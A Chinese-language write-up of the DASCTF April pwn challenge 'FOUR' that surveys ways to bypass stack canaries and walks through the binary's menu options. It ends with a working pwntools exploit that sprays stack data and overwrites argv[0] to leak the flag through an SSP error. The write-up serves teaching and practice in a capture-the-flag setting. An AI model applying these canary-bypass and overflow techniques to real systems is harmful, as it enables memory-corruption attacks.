DASCTF APR

DASCTTF WRITE UP

FOUR

考察点

  1. canary的绕过方式
  2. 代码的审计能力
  3. 栈喷射脏数据感染未初始化数据

安全检测

DA1.png

  1. 全RELRO则got表不可改
  2. 存在canary对应题设
  3. 堆栈可执行但有canary
  4. 无地址随机化

关于canary的几种绕过方式

  1. 什么是canary
    1. canary是一种栈保护机制是操作系统在bp指针的一个低地址单元插入的一串随机数在栈函数流程执行完后则拿出canary在栈上的数据和原canary值比对若相同则透明若不同则报错
      DA2.PNG
  2. 绕过方法一泄漏canary
    1. 格式化字符串泄漏栈数据中的canary
    2. 相同的函数调用时调用相同canary借助其他函数或篡改的rop链读出canary
    3. 无已知printf函数无法构造rop链则不行
  3. 绕过方法二fork函数爆破
    1. 对fork而言作用相当于自我复制每一次复制出来的程序内存布局都是一样的当然canary值也一样
    2. 逐字节爆破fork函数为一个特殊函数拥有两个返回三种状态>0返回父函数== 0继续子进程<0发生错误两反三态
    3. 逐字节进行循环若和已有canary不同则错误开启一个新的子进程
      若符合则读取已有之后的canary脚本进行接收符合条件
      并进行下一字节循环的爆破直到探明为止
    4. 无fork函数则不行
  4. 绕过方法三got表篡改恶意触发canary错误调用目标函数
    1. 若___stack_chk_fail() got表可改则可考虑篡改got表为目标函数从而满足功能如get shell /open flag
    2. full RELROgot表不可改不行
  5. 绕过方式四___stack_chk_fail() argv[0] 可控则恶意触发canary错误打印栈中数据SSP LEAK
    1. argv[0]是指向第一个启动参数字符串的指针 将其篡改为目标地址则可读出栈中内容
    2. 该题采用本方法进行flag读出

IDA反编译看下重点是过硬的代码审计能力

–>已将重要变量重命名以及流程代码的标注

DA3.png

  1. main函数的几个分支选项——–>菜单页面

DA4.png

  1. choose 1 ——–> 读出printf的got表地址可进行leak_libc但关闭标准错误因为ssp需要抛出错误信息若关闭则使得ssp失效

DA5.png

  1. choose 2 ———->调用一个可开极大栈空间的函数之后将输入内容加密输出看似没用但这里正是做题关键点栈喷射

    1. 栈喷射是个大而宽泛的概念主要应用于极大空间的栈溢出的内容的构造
    2. shellcode的nop sled以及前后栈帧非初始化变量的感染都属于栈喷射
      DA6.png
      DA7.png
  2. choose 3 ———> 官方提示的目标危险函数

    1. 函数操作将传入的前几个参数进行加密并输入文件名以开启复制有s1变量读入的dest变量调试output.txt存在为空则dest可未初始化若被从前栈帧上的脏数据感染则可open flag

DA8.png

  1. 脚本调试
    1. 向choose2喷射满flag\x00字符
    2. 当函数调用完成栈空间释放上一个函数的数据实际并不被擦除或覆盖这些数据仍然存在于栈上只是不被当前函数在访问标记为删除若下个函数重新申请空间则再将栈空间内存进行初始化覆盖这里若下一个函数的变量未进行初始化则会被上一个栈帧的脏数据感染赋值空安全
    3. 脚本调试与结果
from pwn import *
p=process('/home/lilbc/桌面/pwn1' )
context(os='linux', arch='amd64')
context(os='linux', arch='amd64')
p.sendlineafter(b"your choice : \n",str(2))
p.sendlineafter(b"You can give any value, trust me, there will be no overflow\n",str(24559))
gdb.attach(p)
pause()
payload=b'aa'+b'flag\x00'*0x1320
p.sendlineafter(b"Actually, this function doesn't seem to be useful\n",payload)

p.sendlineafter(b"Really?\n",b'n')

p.sendlineafter(b"your choice : \n",str(3))
p.sendlineafter(b"Enter level:",str(2))
gdb.attach(p)
pause()

DA9.png
choose 2 的canary地址落于0xc1850
DA10.png
choose 3 的canary落于0xc1760
两函数栈帧几乎重叠开启从二图中也见栈帧也已被flag脏数据感染
若flag\x00字符串读入未初始化变量dest则open flag

DA11.png

  1. choose 4 ———> 一个需要构造参数的read函数
    1. 主要考察是否对asc码敏感先给出asc表进行参考

在这里插入图片描述

  1. fd 文件描述符
    1. 文件检测符检测到~号使得数组i[]中第二个参数的asc码—0的asc码的值赋为文件描述符
    2. 51-48=3
  2. v6 read地址
  • 在检查一个字符数组 i 中的某个位置 j 是否满足以下条件
  • 位置 j 上的字符是冒号:
  • 位置 j + 1j + 2j + 3 上都有字符
  • 位置 j + 4 上没有字符

如果满足这些条件那么代码会执行以下操作

  • 将变量 v6 的低字节设置为位置 j + 1 上的字符
  • 将变量 v6 的次低字节设置为位置 j + 2 上的字符
  • 将变量 v6 的高字设置为位置 j + 3 上的字符将其转换为无符号整数
  • 跳出循环
  1. v1 长度
    1. 检测到@和*符号之间有⼩写字母a~z 把⼩写字母的ascii码作为写⼊长度
  2. choose 5—–>栈溢出 ssp触发器

思路

  • choose 2写脏数据感染choose 3的dest变量将flag读出调用choose 4 read函数将flag变量读到已知栈内存中通过choose5将arg[v0]值改为上方法写入的flag地址即可触发SSP从而get flag
  • IDA测出arg[v0]的偏移为0x10+0xdef0-0xe008=0x128手动调试是0x118
  • DA13.png

EXP

from pwn import *
#p=remote('node4.buuoj.cn',26153)
p=process('/home/lilbc/桌面/pwn1' )
#libc=ELF('./libc.so.6')
#elf = ELF('./pwn1')
context(os='linux', arch='amd64')
p.sendlineafter(b"your choice : \n",str(2))
p.sendlineafter(b"You can give any value, trust me, there will be no overflow\n",str(24559))
payload=b'aa'+b'flag\x00'*0x1320
p.sendlineafter(b"Actually, this function doesn't seem to be useful\n",payload)
p.sendlineafter(b"Really?\n",b'n')
gdb.attach(p)
pause()
p.sendlineafter(b"your choice : \n",str(3))
p.sendlineafter(b"Enter level:",str(2))
gdb.attach(p)
pause()
p.sendlineafter(b"Enter mode:",str(2))
p.sendlineafter(b"Enter X:",str(3))
payload=b'a'*0x10
p.sendlineafter(b"Enter a string: ",payload)
p.sendlineafter(b"please input filename\n",'output.txt')


p.sendlineafter(b"1. yes\n2.no\n",str(2))

p.sendlineafter(b"your choice : \n",str(4))
payload=b'11>:`!!>@a*>~3'
p.sendlineafter('info>>\n',payload)

p.sendlineafter(b"your choice : \n",str(5))
payload=b'a'*0x118+p64(0x602121)
p.sendlineafter(b"This is a strange overflow. Because of canary, you must not hijack the return address\n",payload)

p.interactive()

引用参考zsnick师傅https://blog.csdn.net/mochu7777777/article/details/130309288